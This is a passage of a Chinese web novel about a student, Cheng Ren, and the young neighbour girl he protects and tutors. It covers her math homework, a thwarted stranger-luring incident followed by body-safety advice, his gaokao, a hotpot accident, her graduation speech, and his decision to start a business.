程任摇头,回道,“不能怪她,是现在小学的题目出的太不严谨了,献献算法没错。” 任清芸不可置信地看向他,“你可别误人子弟啊,回头把算术题教成脑经急转弯。” 洗完了手,程任坐到餐桌前吃饭。任清芸给他盛了一碗汤,眼神示意了旁边的一袋苹果,“一会儿你给张阿姨拿过去,人家昨天给我们送小菜了。” 程任已经见怪不怪了,这已经是他们两家这个月礼尚往来的第五次了。 “妈,您和张阿姨这样送来送去,哪天会不会送到没东西可送,就想着把自家孩子换一换养着玩儿?” 任清芸把汤碗放到他面前,假装生气瞪了他一眼,“要能换我还巴不得呢,人家献献将来是个小棉袄,你呢?就是个讨债鬼。” 程任笑着点头,“是,看人家有了女儿自己羡慕,这就瞧儿子不顺眼了不是。” “您说当初您跟我爸怎么也没多生一个,现在也跟献献一般大了,多好玩儿啊,我还多个妹妹。” 任清芸无奈的回道:“再生一个,我和你爸就得下岗,你哪儿来这么好的条件长大,臭小子。” 任清芸说的是实话,她和程立万都是体制内工作,婚后有了程任就没再要孩子,一来是情况不允许,二来是个儿子,家里长辈也就没什么说法。 程任进隔壁院子的时候,穿过窗户看到时献还在掰着手指头算术,十分苦恼的样子。 程任将苹果交给张玉淑后就坐到了时献身边。 “在算什么呢?” 时献偏过头,一张好看的小脸揪成一团,十分诚恳地问程任:“程任哥哥,小明为什么可以又有糖果又有苹果,还有巧克力,他为什么会有那么多零食?” 程任被问倒了 这,这倒是,超出了他的解题范围。 他有些为难的咳了一下,绞尽脑汁,十分变扭地说:“可能,小明家是开零食铺子的。” “哦~!”时献睁大了双眼,似乎是被零食铺子给惊到了,露出恍然大悟的表情,然后又露出一脸羡慕的表情。 程任有些汗颜,零食铺子果然对小朋友有着致命的吸引力,怕她继续惦记,连忙拿起题目转移她的注意力。 “小红今年8岁,哥哥比她大8岁,那么请问,小红17岁的时候,哥哥多少岁?” 时献歪着头,用手数了两遍,眼睛转了两圈,十分认真地回答:“16岁!” 程任被一个暴击在原地,颤抖着问:“为,为什么呢?” “因为哥哥比小红大了8岁呀。” “可是小红长大了呀。” “对呀,小红长大了呀,小红……”时献愣住了,觉得哪里不太对。 程任叹了口气,循循善诱,“小红长大了,哥哥也长大了对不对?小红今年8岁,哥哥比她大8岁,哥哥今年是多少岁?算算看。” 时献又一遍掰着手指,“16岁。” 程任再接再厉,“那小红长大了多少岁呢?” 时献再去掰一遍手指,“9岁?” 程任隐隐有些激动,“对!那你看,哥哥也长大了9岁,那哥哥现在多少岁了?” 时献还去掰一遍手指,“2……” 程任眼里亮晶晶,满满都是鼓励,期待着她说出来。 “25岁?” “对了!献献真聪明。” 程任如释重负,冲她比了个大拇指。 时献被夸到甜头,扑倒在沙发上,开心的滚了一圈。 那天晚上,程任在时献家教了她整整一个小时的算术,才终于将作业教完了,直算到时献眼皮打架,程任笑着揉揉她的脑袋,将作业本合起来,拿起沙发旁边的毯子盖在她身上,和张玉淑打了个招呼才回家了。 崇安的空气很好,程任出院门的时候抬头看到漫天的星星一闪一闪,缀在幕布一般的黑夜里十分好看,时献家院子里种了香樟树,到了夜晚香味格外明显,程任吸了一口,只觉得肺腑畅快。 随手带上隔壁院门的时候又看了一眼里院,想到晚上教的题,忍不住扬起嘴角,又想到晚上和任清芸说的话,如果他有个妹妹,应该也和时献一样可爱吧。 程任第二天照旧在院子里背单词,在背到第五十个的时候,隔壁传来了朗诵声。 秋千自从上次出事就已经被换成摇椅,离地面不远,十分安全,时献坐在摇椅上,一边摇一边读道。 “很久很久以前,在海边,有一条小美人鱼……” “美人鱼经常和她的家人在海边玩耍……” “有一天,她听到了人类的呼救声……” 遇到难认的字有所停顿,似乎靠着拼音辨别。好在时献算术很差,拼音学的却很好,很快就找准了发音,逐渐读的顺畅起来。 一字一句,时献声线清脆,带着小女孩的稚嫩,语气却很认真。她的声色纯净,和崇安今天的天气十分搭配,是让人舒心的感觉。 程任就这样站在院子里听她有些坎坷地读完了《海的女儿》。 周六的天气很好,晴空万里却不炎热,伴着微风,程任手里的单词本被翻过去一页,一个句子映入眼帘。 “Timeisabirdforeveronthewing. 时间是一只永不停止飞翔的鸟. 保护,7 张玉淑犯了难,思来想去只好给任清芸去了电话,任清芸直接应下,让她不要担心,这几天就接了时献住在他们家,上下学就让程任带着一起。 程任这天下了课,直接去了时献在的小学,因为到的时候有些晚,学校已经空了,只剩少数做值日的学生三三两两地走着,程任去了时献班上,没找到人,转了两圈也没看到,程任后背开始出冷汗。 难道自己回去了? 程任骑上车沿着回家的路一路找过去,双目紧盯,不肯放过任何一个身影。 天色有些暗沉,街道上昏暗暗地,路灯已经亮起,空气中漫着一股潮气,草木的青涩味更加明显,闷热异常,像是随时要下暴雨。 骑到离家的第二个路口时,突然看到了对面路边拐弯处巷口有一个熟悉的身影。 时献此时正背着书包,和巷口一个不知道什么人说着话,她好像有些害怕,整个人绷的紧紧的,身躯有些僵直。因为警惕整个人往后退,但那个人继续向前,似乎还想伸手抓住她。 程任抬头看了眼刚切换过来的绿灯,一扭车头,加速骑到了对面。 等靠近才发现和时献说话的是一个约莫四十多岁的中年男人,男人脸上挂着令人不适的笑,一张脸黝黑,面部表情有些夸张,整个人看上去猥琐又滑稽,一只手里拿着零食,讨好般地递过去。 程任当即就反应过来是怎么回事! “时献!” 程任将车丢在一边,快步走过去,一手抓住时献的胳膊往后带,一手用力推开男人靠近的身体,男人撞在墙上,发出砰地一声响。 “你想干什么!” 时献被眼前的景象吓了一跳,刚反应过来就已经被程任护在了身后。 程任本就生的高,常年打球体魄也十分健硕,整个人站过来给人强烈的压迫感。此刻眉目紧蹙,脸上又全是愠色,感觉随时都会挥着拳头砸过来,男人身量矮小,见状心里直发虚,被吼了一声直接转身溜进了巷子口。 程任欲追,刚踏出一步又想起时献还在,转身蹲下,焦急地问。 “怎么样,他有没有对你怎么样?欺负你了吗?” 时献摇摇头,略微有些颤音,“这个坏叔叔说给我东西吃,还想带我去他家里吃,我知道他在骗人,没有答应,也没有吃他的东西,我说我要回家,妈妈马上来接我,但是他拦住我不让我走,我刚刚在想要是他抓住我怎么办,我好像力气也不够,打不过他,结果程任哥哥你就来了。” 程任心有余悸,后背汗湿了一大片。听完稍微松了口气,平复了一下心情,“献献做得对,那个人是坏人,以后遇到不认识的人都不要随便和他们说话,也不要跟他们走,下次再遇到,你就大声呼叫然后跑走,知道了吗?” 时献点点头,一张小脸上还满是紧张的神色,程任又问:“刚刚害怕吗?” 时献抓住程任的衣角,“怕的,但是我刚刚害怕,你就来了,我就不怕了。” 天色更加昏暗,街面的树和路边的立牌被风吹地呼呼作响,几个惊雷闪过,时献颤了一下。 程任脱下外套,将时献罩了个满头,裹住了身子,将她带到后座,一蹬腿,加速往家里骑。 刚骑不远雨就噼里啪啦地砸下来,速度快到来不及反应,等程任到家的时候,人已经被淋透了。 任清芸一开门就看到两只狼狈的水鬼,吓了一跳,赶紧让阿姨去熬姜汤。 程任自己回房去换衣服,任清芸脱下时献罩着的外套,连忙带她去浴室冲了个澡。 身上收拾清爽了的两人坐在餐桌前喝着姜汤,程任面色有些发红,刚喝完一大碗就被任清芸测了个体温,又有些不放心,吃完饭就催回房休息去了。 程任临回房前将任清芸拉到一边,简单跟她说了一下今天的事情,怕时献晚上会做噩梦,叮嘱任清芸最好晚上陪她一起睡。任清芸吓了一跳,连问了几下才放下心来。 当天晚上,时献是在任清芸房间里睡的,任清芸房间里习惯点香,但味道极淡又很温和,闻上去十分舒适,时献躺在香香的房间里,心里的恐惧渐渐消散。 任清芸侧着身子,伸手轻轻拍着时献,哄她睡觉。 时献觉得她十分亲近,想了想,忍不住开口:“清姨,今天,程任哥哥保护我了。” 任清芸温柔地看着她,“哦?说说看,哥哥怎么保护你了?” 时献受了鼓励,继续说:“嗯……哥哥帮我打跑了坏人,那个坏人想欺负我,想骗我跟他回家,我当时害怕极了,哥哥就来了。” 任清芸轻轻笑了声,说:“程任是哥哥,哥哥保护妹妹,这是他应该做的。” 任清芸看着时献白嫩的小脸蛋,摸了摸她的头,“献献以后要记得,我们女孩子在外面遇到了陌生人一定要非常当心,尤其是陌生人想亲你抱你一定要拒绝,赶紧去告诉老师或者妈妈,知道了吗?” 时献点点头,又有些疑虑,“那,是不是只有妈妈,外婆和清姨这样才可以?” “嗯,只有妈妈允许的人才可以,还有啊,女孩子的小内衣遮住的地方,不可以让别人摸,知道吗?” “那,程任哥哥也不可以吗?” 任清芸一愣,随即认真地回答,“嗯,哥哥也不可以,哥哥是男孩子,我们献献是女孩子,男孩子和女孩子是不一样的,去厕所,洗澡,穿衣服,都要分开,也不能随便亲亲抱抱,知道了吗?” 时献又点了点头。 任清芸笑着继续拍,“今天害怕吗?” 时献这下心里一点恐惧也没有了,安心回道:“不怕了,程任哥哥很厉害,他一来,我就不怕了。” “嗯,以后都不怕了。” 时献想了想,又问道:“清姨,程任哥哥晚上是不是发烧了?” “一点点,不知道晚上会不会烧起来,已经让他闷着被子睡了,应该没事。” 时献有些担心,又有些愧疚,“肯定是把衣服给我穿了才着凉的,晚上雨那么大,有点冷。” 任清芸轻声安慰道:“没事的,哥哥是大男孩,睡一觉就没事了啊。” 时献闻着房间里香香的味道特别舒服,眼皮渐渐有些打架,囫囵不清地嘟囔了几句就渐渐睡过去了。 任清芸将薄被拉高,关了床头灯。 一夜无梦。 送考,8 进了五月,基本就到了高考倒计时快结束的阶段,有高考生的家庭气氛都十分紧张,考生如临大敌的也不在少数,程任却悠闲的有些过分了。 学校晚自习已经取消,他一改之前熬夜的作息,晚上11点准时睡,早上6点准时起,背会儿单词和古诗文默写,再悠闲地吃个早餐,不急不忙地骑车去学校,中午还会回趟家,充足午休,阿姨给做什么就吃什么,越临近高考养的越发精神焕发、荣光满面,气色好的不得了。 同桌郑院问他的时候,他面不改色地回:“该会的早会了,临时抱佛脚没有用,还不如休息好。” 不过想想他全校前十从不掉队的名次,气的郑院想打他。 班长发下来高考志愿表,要求每个人在上面填好自己想考的大学,贴在教室后面,当做激励。郑院一人领了两份,递了一份给程任。 “哎你想考哪个学校?” 程任想也没想直接回答:“京大” 郑院啧啧了两声,“果然是学霸,就是有底气,你这应该毫无悬念吧,填下去等于直接拿录取通知书啊。” 程任不置可否,拿出水笔,果断地写了两个笔锋苍劲的字,留了自己的签名。 6月7日-8日,全国高考,中小学集体放假。 时献今天起了个大早,换上张玉淑给准备的小红裙,和任清芸一起送考去了。 任清芸也穿了一身红衣,因为保养得当看起来比实际年龄年轻不少,两个人站在一起倒像姐妹多一些。 时献有些兴奋,在车上扒着车窗看向外面。 交警沿路都设了防护,沿街的店铺大多关了门,以往人流不息的街道上此时十分宽敞,只有警车和送考车。时献被场面镇住,突然有点紧张,一转头,看到程任正看着她微笑,问:“程任哥哥,你紧张吗?” 程任摇摇头,“不紧张呀,和平时考试是一样的。” “那高考难吗?” “不难啊,考试的内容都学过了,平时都考过的。” “可是我看大家都不笑,很严肃。” 程任笑出声,“嗯,那大概是天气太热了吧。” 任清芸:“…………” 任清芸听完考生本人淡定的发言,低头看了看自己特别准备的送考红衣,再给她一次机会让她回到出门前,她绝对不穿这件衣服出来。 太没面儿了。 最后一场考试结束时,时献跟着任清芸去接程任。 两天考试里张玉淑怕时献打扰,只允许她送了第一场考试和接最后一场。 时献不知道的是,任清芸其实也就去了这两次。倒不是她有事,只是程任稳定的成绩和淡定的心态让她突然觉得,自己实在是没什么操心的必要,第一天早上兴奋了一下,劲头很快就过去了。 考场的门刚开放,里面的人就涌了出来,有人跑着,有人跳着,有人呼喊着冲出来抱成一团,有人三三两两笑着结伴。 时献盯了好一会儿,看到程任不急不忙地走了出来,身边还跟着两个人,一个男生,还有,一个女生? 任清芸冲他招招手,程任就走了过来,三人先后和任清芸打了个招呼,程任旁边的女生非常讨喜地又夸了任清芸几句年轻漂亮,任清芸礼貌性地笑着道了谢。 时献把张玉淑交代给她的冰果汁递过去,乖巧地说:“程任哥哥,辛苦了。” 程任笑着接过来,喝了一大口。郑院看到面前可爱的小姑娘,像发现新大陆一样,眼里放光,“这是哪里来的小妹妹啊,这么可爱,怎么以前没见过啊。” 时献没好意思接话,冲他弯眼笑了笑,脸上被夸得有些发红。 程任用手肘怼了一下郑院,“把你那贫劲儿给我收起来,别吓到我妹妹。” “阿姨什么时候给你生了个妹妹?我怎么不知道。” 程任没好气地瞥了他一眼,“你为什么会知道?” 任清芸无奈地笑了,郑院不好意思地挠挠头,“不是,我这不是好奇嘛,认识你这么多年了,突然冒出个妹妹,还长这么可爱,你怎么才带出来。” “就是防着你才不带的,省得带坏我妹妹。” “开玩笑有你钟哥在怎么可能带坏小朋友?我就是一五讲四美的优秀青年好吗?未来社会的栋梁,国家的希望,民族的脊梁。” “住口吧民族的脊梁。” 程任身边的女生突然上前一步,微微弯下腰,伸手去摸她的头,“好可爱的小姑娘啊,你是程任的妹妹吧,你好啊小妹妹,我是林惜媛,和你哥哥是同学哦。” 时献有些愣住,看着眼前突然凑近的小姐姐,标准的黑长直,身材纤瘦,一双杏眼里嵌着笑,看起来十分漂亮,但莫名让她感到有些局促和压迫。 郑院见状眯着眼朝程任挤了挤眉,程任走上前,用手掌轻轻挨着时献的后脑勺,“来跟姐姐再见,说我们回家了。” 时献立刻点头,“谢谢姐姐,姐姐再见,我们先回家了。” 上了车程任看她没再说话,以为被吓到了,“刚刚那个哥哥吓到你了?” 时献摇头,“那个哥哥挺搞笑的,他在闹着玩儿,对吗?” 程任笑了,“对,他看你可爱,想逗你玩。” “那那个姐姐呢?” 程任怔了一秒,任清芸从镜子里看到后座的程任脸上露出一丝不耐烦。 “那个姐姐,没有恶意。” 时献嗯了一声,然后又说:“但是她突然来摸我的头,有点奇怪,我们明明是第一次见面。” 然后偏过头看着程任,程任考虑了一下措辞,“嗯,下次我们可以拒绝。” 任清芸心里跟明镜似的,知道刚才那小姑娘是在讨好儿子,可看程任这样子应该是无心。她对程任感情问题一向不过问,但看那姑娘,虽然外形条件很不错,但心思过于活泛,自己虽然才见了一面,但平心而论并没有太多的好感,算了,既然没影的事想这些也没必要。 任清芸又看向后座,时献在抱怨作业太多,程任笑着宽慰她,两人过了会儿不知道又说到什么笑话,笑成一团。 任清芸心下轻松,想着要是真有个女儿就好了。 火锅,9 高考分数出来,和预估的相差无几,填了志愿等学校分数线一出,基本就知道京大的通知书该在路上了。 程任暑假做了件事。 郑院也考得不错,报了程任附近的学校。郑院想趁着暑假出去玩,叫了几个人,又拉上程任一起,程任不想花家里的钱,就拖他一起去做家教兼职。 做着做着程任就琢磨起了生源,他了解了补习机构的招聘要求和介绍提成后,就利用起自己的圈层,补习机构的老师推荐可以从自己的同学群里推荐, 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郑院故作生气地扭过头,想了想,“哎,咱们领了钱去吃一顿吧,叫上你家小妹妹,好久没见到她了,一起出来玩儿呗。” 一旁的乔小远和陆天祈也一并附和,四人都刚领了现金,身上也没带卡,离吃饭还有点时间,就约了晚上的火锅,先各自回家去。 程任回家放下钱,又从里面抽了几张带在钱包里,从隔壁接了时献一起出门。 程任到的稍晚,一进门就看到林惜媛冲他招手,他隐约地蹙了下眉头,礼貌性微笑点头。 郑院见状冲他做了个“我也不知情,我也很无奈”的表情,程任懒得理他,只是对座位犯了难。 面前是个长桌,大家各坐两边,但很凑巧的是,郑院、乔小远、陆天祈三个人坐一边。林惜媛一个人坐在另一边,旁边空着两个人的位置。很明显,这是已经划分好了,程任心里没由来地一阵烦躁。 郑院见他面色不佳,连忙打哈哈,“哎呀好久没见我们小献献了,来,让你钟哥哥和你坐一块儿。”于是起身准备很自然地换到林惜媛身边去。 谁料林惜媛推了把他,将他按回座位,“人家是小姑娘,谁要和你一起坐。” 说完林惜媛就笑着对时献说:“献献,来,坐姐姐这来。” 时献抬头看了眼程任,眼里带着询问,程任问她:“想坐哪里自己说。” 时献走到林惜媛身边,直接坐下来了,程任就挨着时献一并坐了下来,林惜媛笑得十分开心,殷勤地开始帮两人烫筷碗,无比自然。 郑院脸上一抖,嚯,这诡异的操作,今天玩儿的是一家三口的剧本? 林惜媛一晚上忙前忙后,一直在照顾时献吃东西,但她显然不太知道时献的口味。第一次给她碗里放了香菇,时献喝了口果汁,第二次给她碗里放了毛肚,时献又喝了口果汁,第三次给她碗里放萝卜的时候,程任直接把萝卜夹了过来,给时献碗里添了些肥牛和鱼丸。 时献感激地看着程任,终于不用继续喝果汁了。 林惜媛有些尴尬地看着时献,“原来你喜欢吃肥牛和鱼丸啊,那姐姐再给你烫一些。” 说完就往白汤锅里放了半碟的肥牛,郑院抻着筷子有些羡慕时献,看这架势,那半碟肥牛应该是和自己没什么关系了。 有服务员来清碟子,林惜媛拿起旁边的一摞空盘打算递过去,站起身的时候脚不小心踩到自己的长裙裙摆,绊得她踉跄了一下才站稳,手里的空盘失去平衡一倾斜,直直坠到汤锅里去。 还在高温烧着的汤锅,被高处的空盘迎面一击,顿时汤汁四溅,郑院那边三个人条件反射立刻后退,没受太大影响。林惜媛往旁边躲了一下,好在靠她这边的是白汤底,溅到一点在手臂外侧没有太大影响,但众人过了片刻才反应过来,时献被夹在中间,后背是靠着墙的,她根本无处可逃! 郑院回过神一看,被吓得倒抽了口气。程任侧过身体将时献按到怀里往后墙靠,背部挡住汤汁,离他最近的辣锅汤汁几乎全溅到他胳膊和后背上去了,正值夏天,程任穿着短T,衣服被染成红油色,手臂也红成一片。 程任顾不上手臂和后背,连忙松开时献,看她有没有事,时献被突如其来的情况吓懵,还没反应过来。程任见她身上没有被弄脏,心里松了口气,这才反应过来手臂和后背一片火辣辣的疼。 林惜媛被吓到快哭出来,连忙扯了纸巾要去擦程任的胳膊,一边擦一边道歉。 程任借力避开,将时献推到郑院那边,自己去洗手间处理,餐厅经理见状连忙过来查看,送上烫伤药膏和毛巾。 林惜媛眼中含着泪,咬了咬下嘴唇,跟了过去。 两人在洗手间附近说了会儿话,再回来的时候林惜媛两只眼睛红的像兔子一般,拿起椅子上的包就跑走,乔小远见状刚抬起脚又落下。 程任身上已经换了餐厅经理临时送的制服T恤,手臂清理过了,还擦了药膏,似乎问题不大,只是红肿一片看上去很是吓人。 程任叫了声时献,打算直接回家。 郑院和陆天祈比较担心他的烫伤,郑院上前追问:“你没事吧阿任,胳膊看起来还是挺严重的,要不要去趟医院处理一下。” 程任摇摇头,“没事,辣椒而已,就这一会儿肿的厉害,很快就消了。” 说完看向乔小远,乔小远察觉到目光立刻把头低下来。程任眉头皱的厉害,脸上愠色明显,对着乔小远说:“你今天不该告诉她。” 郑院和陆天祈惊讶地一起看过去。 程任深压了口气,语气十分严肃,“别人感情的事不要瞎掺和,你如果真喜欢她就自己去追,帮着喜欢的人做这种事,是在糟蹋你自己,而且,今天差点出了大事!” 乔小远羞愧地向上推了眼镜,不敢再抬头看程任。 程任从包里拿出钱放到桌子上,交代郑院买单就带着时献离开了。 当天晚上,程任房间里传来嗷嗷的叫唤声。 花苞,10 转眼到了九月,程任明天要去学校报到,晚上在房间收拾行李,正叠着衣服,一扭头,门边站一个熟悉的身影,来的人有些变扭,也不说话,就站在门口,双手扒着门框。 “献献,什么时候过来的?” 时献闷声回:“刚刚上来的,清姨给我开的门。” 程任朝她招了招手,“来,过来这边坐。” 她走到小沙发边坐下,双手撑在身侧两遍,膝盖并拢,一只脚在地上漫无目的地蹭啊蹭的。 “你明天就要走了吗?” 程任一边往箱子里放衣服一边回:“嗯,明天早上就出发了,要去学校报到的。” “那你什么时候回来?” 程任偏过头看她,时献眼神中有些落寞,他知道小姑娘对自己的依赖性,这会儿肯定心里有不舍得,安慰地笑笑说:“国庆我就回来了,去学校待一个月,就可以回来啦。” 时献从沙发上挪下来,走到程任旁边蹲下,伸手帮他一起整理。她自己没怎么收拾过东西,张玉淑在家一向把她照顾的很好,从来没做过家务,此时手里抓着衣服也是有样学样,凭着记忆里的样子去叠,动作十分生疏笨拙。 程任看着自己的卫衣在时献手里像鸡肉卷一般,觉得有些好笑,伸手抽过来,“是这样叠的,来,我叠给你看。” 两人闷头叠了会儿衣服,时献腿麻了,慢慢又挪回沙发边坐着。程任锁上行李箱,坐到床沿边,正对着她。 “不开心了?” 时献点头,又摇头,过会儿支支吾吾,“就是,就是有点,舍不得你。” 程任低头轻笑了一声,眼睛弯了好看的弧度,“哥哥也舍不得你啊,但是哥哥要上学,以后献献长到我这么大,也会考大学,也会离开家去外地读书的。” “那,那我也要考和程任哥哥一样的学校。” 程任笑着说好。 “那我还要多久才能考大学?” 程任想了想,“等你十八岁的时候。” 时献眼中黯淡了下去,“可是我现在才十岁,太久了。” “不久,你乖乖吃饭,认真学习,很快就十八岁了。” 时献对八年的概念不是很清晰,只觉得听上去应该十分漫长。 “那我,以后都考和你一样的学校,好吗?我也去考附中,以后考崇安一中,十八岁的时候考京大。” “妈妈说程任哥哥的学校都是最好的,我也要像你一样,去考最好的学校。” 程任眼中有些骄傲的神色,是被人崇拜的自豪感,是引导人努力的成就感,是,看着小孩想跳起来长大的期待感。 他好像隐约瞧见了一株小苍兰努力打着花苞。 他突然有些期待时献快快长大,长成让人骄傲的样子。 程任对着她坚定的神色,点头颔首。 “好。” 程任的大学在充实忙碌中度过,他专业拔尖,拿着系里的奖学金,又热衷于参加各种实践竞赛,课余和系里的人一起尝试了不少活动,还想尝试筹备自己的工作室做项目,当然,还只是很雏形的想法,毕竟大学生创业需要面对很多问题。 时间一晃而过,转眼来到大三。 这天程任刚和毕业的学长联系工作室的事,就接到了任清芸的电话。 “你们快放假了吧,哪天回来啊?” 程任调低了空调温度,京都的天真的是越来越热了。 “明天就考完了,我收拾一下,这周五就回,怎么了。” 任清芸语气里透着骄傲和开心,语调都上扬了,“献献要毕业啦,今年考上了附中,作文竞赛还在市里拿了奖,学校要让她作为优秀毕业生代表去参加毕业典礼讲话呢!你要是来得及,就回来一起参加。” 程任有些意外,倒不是不相信时献的能力,只是他们偶尔也通话联系,时献有特别的事情的时候就会给他发信息,作文拿奖这件事,居然没听她说过,优秀毕业生代表就更别提了。 “好,后天是吗?那我明天考完了下午就回来。” 挂了电话,他去翻了一下信息,果然,之前忙着工作室的事,加了太多联系人,垃圾短信又多,就没太注意,时献未读的信息有两条,一条是说得奖的事,一条是说优秀毕业生代表的事,文字里语气活泼,看得出打字的时候心情很激动,之后就再也没发过,可能是生气了。程任内心有些愧疚,本来想回一下,又想着隔了这么些天再回小姑娘可能还在气着,不如明天早点回去,买点小礼物还能哄哄她。 上午刚考完试,下午就回了宿舍收拾东西,室友看他走的仓促忍不住问:“不是说周五走吗?怎么突然这么急?家里有事儿啊?” 程任笑着点头,“嗯,妹妹考上重点初中了,要回去参加毕业典礼。” “呦是你邻居家那小妹妹吧?真厉害啊,这么优秀以后让她考来京大,当咱小学妹。” 程任无奈,“你这是在夸她还是在夸你自己啊?” “哈哈哈哈,都有都有。” 一旁闷头吃泡面的室友抬起头,“真不害臊啊,皮忒厚实。” 时献毕业典礼这天天气十分好,多云,阳光不算强烈,带着风,没有烈日的炙烤,夏天的炎热被减弱了几分。 时中伟特地空了一天出来,和张玉淑坐在嘉宾席里,伸着头一直在望上场的方位。 任清芸手里抓着相机,准备抓怕住时献讲话的全过程。 时献今天穿了一件带领子的黑白相间的学院风格子裙,配着黑色小皮鞋,看起来朝气十足。 她身高中规中矩但身量比例很好,穿着裙子从台上走过的时候毫不怯场,后背挺的直直的,非常精神。格子的学院风很衬她的白皮肤,张玉淑今天给她在分发线两侧编了发,往后一带,和剩下的头发一起扎了个干净利落的马尾,绷着脸不说话的时候有些小大人的模样,微微笑起来又十分甜美可爱。 时献站上讲台,对着话筒,做了个不易捕捉的轻微沉气的动作,缓缓开口…… “各位老师,各位同学,大家好……” …………………… “时光是一只永不停止飞翔的鸟,我们在懵懂中即将迎来人生的下一个阶段,我相信,我们的成长会打开新的篇章,我们会迎来新的身份和新的考验。虽然我们年纪还小,但我们的未来会有更多的可能。我将对未来抱着期待,我期待着明天的故事。” 程任看着台上那个小姑娘一字一句说着对未来的期望和憧憬,看着她朝气的面庞充满生机,看着她从刚入学的无措到现在的自信,内心突然涌出一股难言的感动,不知道是对于成长的惊奇还是对生命发展的不可预估。总之,他特别骄傲,站在台上开始发着小小光芒的时献,她像小苍兰一样,结着漂亮的花苞,一点一点,用自己的努力长大了。 典礼结束后,任清芸拉着时献不停地拍照,在给张玉淑一家拍了几十张后,程任走了过去。 “妈,给我和献献拍一张吧。” 程任今天穿着略微宽松的白衬衫,配着蓝色牛仔裤和板鞋,整个人看上去气质十分干净。他一只搭在时献肩膀上,露出温和的微笑。时献脸上被太阳晒的有些微红,看起来像一只白里透红的水蜜桃,她咧嘴露出小白齿,笑的十分乖巧。 任清芸喊了123倒数,咔地一声,按下了拍摄键。 11,选择 程任大四的时候得到了京大保研的名额,但是他想放弃。 原因无他,读书是他擅长的事但并不算热衷。 另外,他和学长一起筹备的工作室正在稳步开展工作,郑院和陆天祈也加入了进来,他们拉到了一笔投资,前景看好,相比继续读书,他更喜欢开拓自己事业的感觉。 但这个决定让程立万十分生气。 程家从程任爷爷那辈开始就以教书为业,家中规矩严明,称得上是书香世家,程立万和任清芸也是大学教授。虽然家业不大,但未来也并不需要程任担负什么经济上的压力。 而且程任从小就聪明,读书上进很快却没有同龄人的焦躁,名次再好也一直踏实努力从不敷衍功课。在他看来,这是个很适合做学问的苗子。他只希望程任能平稳地完成学业,将来能延续下去,和他一样选择任教或者能在学术上有些什么好的发展,就非常知足了。 但程任却说要从商,还要自己做公司,什么风投,市场,还扯什么融资,上市,他想想都觉得太冒险了。二十几岁的几个孩子凑一块儿,面对外面那么复杂的社会,能做出什么成绩? 真真浪费天赋! 又想到京大这种学府在教育界的地位,程任却说放弃就放弃保研名额,他气的简直想撬开他脑袋看看到底在想什么! 任清芸知道程立万在气什么,她自然也是觉得放弃保研十分可惜。但她也明白,程任是个有自己想法的孩子。但她夹在老公儿子中间,一时为难万分,不好干预程任的决定,就只能多做做程立万的工作,希望他多从孩子的角度考虑。 程家的气氛有史以来第一次降到冰点。 时献给程任发了信息,得到同意后就抱着一叠数学卷子过来敲门。程立万看到时献稍微缓和了脸色露了个勉强的笑容,任清芸像看到救星一般笑着将时献迎了进来推去楼上。 时献走到房门口,轻轻敲了下门。 程任没说话,拉开门,看到时献笑了笑,时献从那笑里看出些愁绪。 程任将她拉到书桌前坐下,自己靠在桌子旁边,拿起卷子分别翻到最后一题,果然,还是老问题不会。 正认真看着题干,时献突然开口问:“叔叔还在生气吗?” 程任默默轻叹一声,过了会儿,“嗯” “那你会坚持做自己的事情吗?” 程任迟疑了两秒,“会”。 随后放下卷子,微眯了眼,“但还是希望他能支持我,我是认真考虑做出的决定,他觉得我是一时冲动。” “可是我觉得,叔叔没有不相信你,他只是怕你将来会后悔。” 程任有些惊讶地看向时献,“你是这样想的?” 时献点头,神色越发认真起来,“小学六年级的时候,那次作文竞赛的最后一轮,那天其实我发烧了,妈妈打算跟老师说不去了,但是我想去。妈妈问我为什么,我说这次的比赛我准备了很久,如果让我参加,我一定能拿奖,不去我会很后悔,发烧身体难受我可以坚持下来,如果身体不舒服写不完我也不会失望,我尽力做了,后来妈妈就让我去了,然后你看,我拿奖了。” “所以程任哥哥,想做的事情就去做,不用担心。” “叔叔只是担心以后,但是还没发生的事情,谁知道呢?谁能保证一辈子不后悔呢?” “重要的是现在的你清楚自己在想什么就好了呀。” “我们每个人,不都应该去做自己想做的事情吗?” 程任心中平静的湖面仿佛投入了一颗石子,沿着石子坠入的位置为中心像四周扩散波纹,缓慢地、一圈一圈,向外蔓延开。 他看着时献青涩的脸庞,婴儿肥已经褪去了一些,从前的稚嫩浅淡了几分,青涩气质开始凸显,小学的毕业典礼仿佛还在昨天,怎么突然间花苞就开始有了绽放的痕迹? 是成长开始加速了。 程任微微垂首,内心有些放松的感觉,沉默了一会儿,对着时献说:“对,我们每个人都应该去做自己想做的事情,没什么好纠结的。” 时献问完了数学题,又自己演算完过程,工工整整的写在卷子上,程任检查了答案,又给她归纳了解题技巧和思路。 时献在试卷旁做好标注,梳理刚刚程任给他做的总结。她绷直后背,坐的十分端正,一低头额边的碎发就垂了下来,扫在脸颊边,嘴唇因为思考轻轻抿紧,眉毛微蹙着,认真的样子有些可爱。 程任突然想到什么似的,“那次比赛发着烧,难受吗?” 时献思绪被打断,反应了几秒,“呃?……哦,难受的,头疼,但是写的时候就不记得有那么疼了,就那么写完了。” 又过了会儿,“那次作文题你写的什么?” 没由来的一句。 “繁星和春月” 繁星闪烁,春月柔和,都是属于夜晚的美景。二者相互映彰,各得其色,互不干扰,平分了夜色。 时献起身准备走的时候不小心碰掉了书桌旁边的一摞文件,伸手捡起来重新放回桌面,就抱着卷子准备回家了。 临出门的时候转过身,一字一句认真的说:“程任哥哥,我知道你一定可以做好想做的事。” 末了像强调一般又加一句,“我就是知道!” 程任冲她莞尔,时献看到他眼中那点愁绪消失不见。 “好。” 再回到自己房间的时候,时献如释重负,最难的最后一道大题在程任的帮助下全部完成,最后归纳的原理和解题思路好像也十分简便易懂,比学校里的老师讲的好懂多了。她将试卷对折,准备收到书包里去,刚一抬手,就听见轻飘飘的一声,似乎有东西掉到地上了。 时献弯腰捡起,是一张高考志愿表,上面只写了四个字。 京大------程任。 程任的笔锋苍劲有力,写到一捺的时候微微有些上翘,彰显着一丝骄傲,好像写下志愿的时候志在必得,知道自己一定会考上一样。不过时献毫不意外,程任就是这样,从小到大,一直非常清楚自己想要什么,也认真对待需要做好的每一件事,她毫不怀疑地像小迷妹一般支持着,从不动摇,也从不想为什么。 她将志愿表抻平,放进抽屉,准备下次还给程任。 但那时的时献没想到,后来,志愿表在她的抽屉一躺就躺了很多年。 程家紧张的气氛在三天后得到了缓和。 